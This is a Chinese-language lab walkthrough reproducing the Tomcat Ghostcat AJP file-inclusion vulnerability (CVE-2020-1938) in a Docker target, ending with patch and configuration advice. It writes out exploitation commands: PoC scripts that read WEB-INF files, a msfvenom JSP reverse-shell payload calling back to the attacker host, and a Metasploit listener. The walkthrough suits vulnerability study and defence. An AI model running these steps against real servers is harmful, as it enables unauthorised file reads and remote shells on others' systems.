1.漏洞描述
Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接 和 SERVLET容器连接。
2.影响的版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.53
Apache Tomcat 9 < 9.0.31
3.漏洞复现
3.1 实验环境以及ip
靶机:kali 192.168.157.138
攻击机:kali 192.168.157.139
3.2靶机环境搭建
3.2.1下载docker
#更新软件源中的所有软件列表
apt-get update
#安装https协议及CA证书
apt-get install -y apt-transport-https ca-certificates
#下载安装docker
apt install docker.io
#查看Docker是否安装成功
docker run hello-world
3.2.2搜索docker中的漏洞环境镜像
docker search tomcat-8.5.32
3.2.3使用docker拉去镜像环境
docker pull duonghuuphuc/tomcat-8.5.32
3.2.4查看docker下的镜像
docker images
3.2.5启动环境
docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat negoowen/ghostcat:1.0
这里出现错误,显示ghostcat容器在运行,是因为第二次执行而导致的报错
关闭ghostcat容器
docker rm -f ghostcat
再次启动环境,成功
3.2.6查看环境是否启动成功
docker ps -l
3.2.7打开页面
3.3 漏洞复现
3.3.1在攻击机进行端口扫描
nmap 192.168.157.138
3.3.2 在攻击机下载poc
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
3.3.3 尝试读取8009端口下的web.xml文件
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.157.138 -p 8009 -f /WEB-INF/web.xml
3.3.4 在靶机创建一个验证文件
docker exec -it ghostcat /bin/bash
echo helloworld > ./webapps/ROOT/WEB-INF/test.txt
3.3.5 进行攻击
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.157.138 -p 8009 -f /WEB-INF/test.txt
3.4漏洞利用--文件包含getshell
3.4.1首先在靶机使用msf生成一个java木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.157.139 LPORT=6666 > shell.txt
3.4.2将生成的木马复制到tomcat目录下,模拟我们已经将shell.txt上传
docker cp /home/xiaoya/桌面/shell.txt ghostcat:/usr/local/tomcat/webapps/ROOT/WEB-INF/shell.txt
3.4.3 在攻击机下载poc
git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/
3.4.4 在攻击机打开msf进行监听
# 打开msf
msfconsole
# 设置监听模块
use exploit/multi/handler
# 设置 payload
set payload java/jsp_shell_reverse_tcp
# 设置监听 IP 地址
set lhost 192.168.157.139
# 设置监听端口
set lport 6666
# 执行
run
3.4.5在攻击机访问shell.txt,使shell.txt发生文件包含
python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py 192.168.157.138 -p 8009 -f /WEB-INF/shell.txt
4修复建议
1.临时禁用AJP协议端口,在 conf/server.xml 配置文件中注释掉:<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
2.特别配置ajp配置中的secretRequired跟secret属性来限制认证
3.下载更新版本,只要不在本文开头提到的波及版本中即可。
版权归原作者 亚瑞塔斯·D·紫耀 所有, 如有侵权,请联系我们删除。